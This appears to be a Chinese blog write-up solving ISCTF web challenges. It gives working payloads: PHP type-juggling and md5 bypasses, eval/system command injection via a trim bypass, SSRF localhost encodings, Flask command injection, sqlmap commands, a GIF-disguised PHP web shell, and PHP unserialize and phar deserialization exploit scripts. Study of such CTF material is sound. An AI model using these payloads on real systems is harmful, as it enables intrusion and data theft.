更好体验前往个人博客 传送门
EASY-PHP01
get传参 ?hint
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>web签到</title>
</head>
<body>
<!--给我一个hint,我给你一个hint-->
<!--?hint -->
<?php
include "./flag114514.php";
error_reporting(0);
if (isset($_GET['hint'])) {
highlight_file(__FILE__);
if (isset($_POST['ISCTF'])) {
$ISCTF = $_POST['ISCTF'];
if($ISCTF == 114514){
if($ISCTF === "114514"){
echo "好臭啊";
}else{
echo $flag;
}
}else{
echo "= == === != !==";
}
}else{
echo "什么是POST?";
}
}else{
echo " 什么是GET?";
}
什么是POST?
弱类型比较绕过
POST: ISCTF=114514a
EASY-PHP02
<?php
highlight_file(__FILE__);
error_reporting(0);
$flag = "flag{need_time_to_change}";
include_once("config.php");
$YOUR_NAME = $_GET["NAME"];
$GET1 = $_POST["GET1"];
$GET2 = $_POST["GET2"];
$POST1 = $_GET["P0ST1"];
$POST2 = $_GET["P0ST2"];
if (isset($YOUR_NAME)){
echo $YOUR_NAME.",请开始你的答题。"."<br>";
}
else{
echo "做题前请告诉我你是小蓝鲨吗?";
exit();
}
if (is_numeric($POST1)){
if ($_GET["P0ST1"] != $_GET["P0ST2"]){
if (($_GET["P0ST1"]) == md5($_GET["P0ST2"])){
$f1=$flag1;
echo "小蓝鲨成功一半".$f1;
}
}
}
if(preg_match('/^[0-9]*$/',$GET1)) {
exit();
}
else{
if( $GET1 == 0 ){
echo "<br>"."前面的出来了吗?";
if(is_numeric($GET2)){
exit();
}
if($GET2 > 678){
echo "答案就在眼前?"."<br>".$YOUR_NAME.",你觉得这是flag吗?"."<br>";
$Ag=base64_encode($flag2);
}
}
}
$flag666 = $f1.$Ag;
echo $flag666;
?>
做题前请告诉我你是小蓝鲨吗?
先传入your name进入下一个判断
P0ST1不等于P0ST2,但是P0ST1等于P0ST2的md5值,这是md5的弱碰撞
GET1过滤了纯数字,用字母绕过,GET2大于678,不能为数字,数组绕过
构造payload:
GET: http://120.79.18.34:20120/?NAME=111&P0ST1=0&P0ST2=s1502113478a
POST: GET1=a&GET2[]=690
前半段是hex解码 ISCTF{0d4c
后半段是base64解码,再Unicode解码 6e9a-51a9-45bf-8a6d-513cdf7b530c}
FakeWeb
burpsuite抓包
发现跳转页面
经过查阅资料,发现If-None-Match和ETag是解题关键点
当浏览器请求服务器的某项资源(A)时, 服务器根据A算出一个哈希值(3f80f-1b6-3e1cb03b)并通过 ETag 返回给浏览器,浏览器把"3f80f-1b6-3e1cb03b" 和 A 同时缓存在本地,当下次再次向服务器请求A时,会通过类似 If-None-Match: “3f80f-1b6-3e1cb03b” 的请求头把ETag发送给服务器,服务器再次计算A的哈希值并和浏览器返回的值做比较,如果发现A发生了变化就把A返回给浏览器(200),如果发现A没有变化就给浏览器返回一个304未修改。这样通过控制浏览器端的缓存,可以节省服务器的带宽,因为服务器不需要每次都把全量数据返回给客户端。
聪明的服务器开发者会把ETags和GET请求的“If-None-Match”头一起使用,这样可利用客户端(例如浏览器)的缓存。因为服务器首先产生ETag,服务器可在稍后使用它来判断页面是否已经被修改。本质上,客户端通过将该记号传回服务器要求服务器验证其(客户端)缓存。
其过程如下:
1. 客户端请求一个页面(A)。 服务器返回页面A,并在给A加上一个ETag。 客户端展现该页面,并将页面连同ETag一起缓存。 2. 客户再次请求页面A,并将上次请求时服务器返回的ETag一起传递给服务器。
3. 服务器检查该ETag,并判断出该页面自上次客户端请求之后还未被修改,直接返回响应304(未修改——Not Modified)和一
个空的响应体。
就是说要If-None-Match和ETag的值不相等才会返回一个新的页面,更改If-None-Match的值,然后进行发包
simplephp
<?php
highlight_file(__FILE__);
error_reporting(E_ERROR);
$str=$_GET['str'];
$pattern = "#\\\\\\\\/Ilikeisctf#";
function filter($num){
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
}
if(preg_match($pattern,$str,$arr))
{
echo "good try!";
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
echo "come on!!!";
if($num=='36'&isset($_GET['cmd'])){
eval($_GET['cmd']);
}else{
echo "hacker!!";
}
}else{
echo "hacker!!!";
}
}
num不等于36,去空后不等于36,经过过滤后等于36
主要就是绕过trim
trim过滤了 0a 09 0b 没有过滤0c(换页键)可以试试
?str=\\/Ilikeisctf&num=%0c36&cmd=system(‘ls /’);
?str=\\/Ilikeisctf&num=%0c36&cmd=system(‘tac /flag’);
curl
IP地址伪造,服务端请求伪造,**?urls=http://127.0.0.1/flag.php **
这个不行,不能绕过,试一下?urls=http://0/flag.php
url=http://0x7F.0.0.1/flag.php 十六进制
url=http://0177.0.0.1/flag.php 八进制 还有一个疑惑就是二进制应该也可以 但是该怎么区分进制呢?
url=http://2130706433/flag.php 10 进制整数格式 (??)这什么操作
url=http://0x7F000001/flag.php 16 进制整数格式url=http://127.1/flag.php
url=http://0/flag.php
url=http://127.0000000000000.001/flag.phpurl=http://127.127.127.127/flag.php CIDR
以下为常用绕过方式 但本题不行的解法
短标签绕过
ipv6绕过[::1]
url=http://127。0。0。1/flag.php 句号
参考博客
eazy-onlineshell
根据提示先传个rce
再查看备份文件
查看源码
import flask
import subprocess
app = flask.Flask(__name__)
@app.route("/")
def hello_world():
return "Try to access the /rce"
@app.route("/www.zip")
def return_SourceCode():
with open("./app.py", "r") as f: //访问www.zip会打开app.py
return f.read()
@app.route("/rce", methods=['GET', 'POST'])
def action_rce():
if flask.request.method == "GET":
return "Why not try to search the backup"
elif flask.request.method == "POST":
action = flask.request.form["act"] //在post传入act,写入命令
with open("/app/temp.sh", "w") as f:
f.write(action[1:-1]) //切片,截取第二个和倒数第二个字符之间的
res = subprocess.run(["/bin/bash", "/app/temp.sh"], stdout=subprocess.PIPE)
# print(res)
return "success"
if __name__ == '__main__':
app.run(debug=True)
可以把文件写入app.py中,找不到其他可以利用的目录文件
把ls写入app.py 无回显,所以要访问www.zip执行app.py
act=‘ls >app.py’
访问flag act=‘tac flag>app.py’
傻柱
猜测是sql注入,但是不知道注入类型,登入login页面看一下
没发现什么可以利用的东西
burp suite扫一下,发现存在User - Agent注入,(需要等一会,一开始会检测不出来)
sqlmap一把梭
针对User - Agent的值探测SQL注入,需要设置 --level值为3
sqlmap -u http://120.79.18.34:20177///login.php --level 3 --dbs
sqlmap -u http://120.79.18.34:20177///login.php --level 3 -D ctf --tables
sqlmap -u http://120.79.18.34:20177///login.php --level 3 -D ctf -T user_agents --columns --dump
easy_upload
存在www.rar文件
<?php
error_reporting(0);
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
if (preg_match("/flag|\.\.|\/\//i", $file)) {
echo "no hack";
exit();
}
include $file;
}else{
include("upload.php");
}
?>
GIF89a
<?php eval($_REQUEST['cmd']);?>rce?
- 用post把shell传上服务器,在shell里面写好我们想执行的代码
- .或者叫period,它的作用和source一样,就是用当前的shell执行一个文件中的命令。用. file执行文件,是不需要file有x权限的。那么,如果目标服务器上有一个我们可控的文件,那就可以利用.来执行它
我们可以发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母
p
神
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<form action="http://120.79.18.34:20176/" method="POST" enctype="multipart/form-data">
<input type="file" name="file" id="file">
<input type="submit" name="submit" value="submit">
</form>
</body>
</html>
?shell=?><?=`.+/%3F%3F%3F/%3F%3F%3F%3F%3F%3F%3F%3F[%40-[]`%3B?>
猫和老鼠
<?php
//flag is in flag.php
highlight_file(__FILE__);
error_reporting(0);
class mouse
{
public $v;
public function __toString() //在需要字符串值的地方会自动调用它进行对象的类型转换
{
echo "Good. You caught the mouse:";
include($this->v);
}
}
class cat
{
public $a;
public $b;
public $c;
public function __destruct(){
$this->dog();
$this->b = $this->c; //c影响b,同时会影响a
die($this->a); //相当于echo,和tostring一起利用
}
public function dog()
{
$this->a = "I'm a vicious dog, Kitty";
}
}
unserialize($_GET["cat"]); //反序列化
?>
脚本
<?php
class mouse
{
public $v;
public function __construct()
{
$this->v = "php://filter/convert.base64-encode/resource=flag.php";
}
}
class cat
{
public $a;
public $b;
public $c;
public function __construct()
{
$this->a = &$this->b; //&引用
$this->b = "xxx";
$this->c = new mouse(); //c->b->a ,调用include函数
}
}
echo serialize(new cat());
?>
?cat=O:3:“cat”:3:{s:1:“a”;s:3:“xxx”;s:1:“b”;R:2;s:1:“c”;O:5:“mouse”:1:{s:1:“v”;s:52:“php://filter/convert.base64-encode/resource=flag.php”;}}
base64解码
upload
<?php
class upload{
public $filename;
public $ext;
public $size;
public $Valid_ext;
public function __construct(){
$this->filename = $_FILES["file"]["name"];
$this->ext = end(explode(".", $_FILES["file"]["name"]));
$this->size = $_FILES["file"]["size"] / 1024;
$this->Valid_ext = array("gif", "jpeg", "jpg", "png");
}
public function start(){
return $this->check();
}
private function check(){
if(file_exists($this->filename)){
return "Image already exsists";
}elseif(!in_array($this->ext, $this->Valid_ext)){
return "Only Image Can Be Uploaded";
}else{
return $this->move();
}
}
private function move(){
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$this->filename);
return "Upload succsess!";
}
public function __wakeup(){
echo file_get_contents($this->filename);
}
}
class check_img{
public $img_name;
public function __construct(){
$this->img_name = $_GET['img_name'];
}
public function img_check(){
if(file_exists($this->img_name)){
return "Image exsists";
}else{
return "Image not exsists";
}
}
}
这个是phar反序列化的触发函数
构造payload
<?php
class upload{
public $filename;
public $ext;
public $size;
public $Valid_ext;
public function __construct(){
$this->filename = '/flag';
}
}
$p = new upload();
$phar = new Phar("test.phar");//后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER();?>");//设置stub
$phar->setMetadata($p);//将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test");//添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
要被自己蠢死,没有运行脚本直接上传,能出flag才怪,好丢人啊啊啊😭
运行脚本后产生phar文件,改成jpg格式上传,然后访问,就能得到flag
其中好多题都是大佬教给我做的,感谢,tql !😍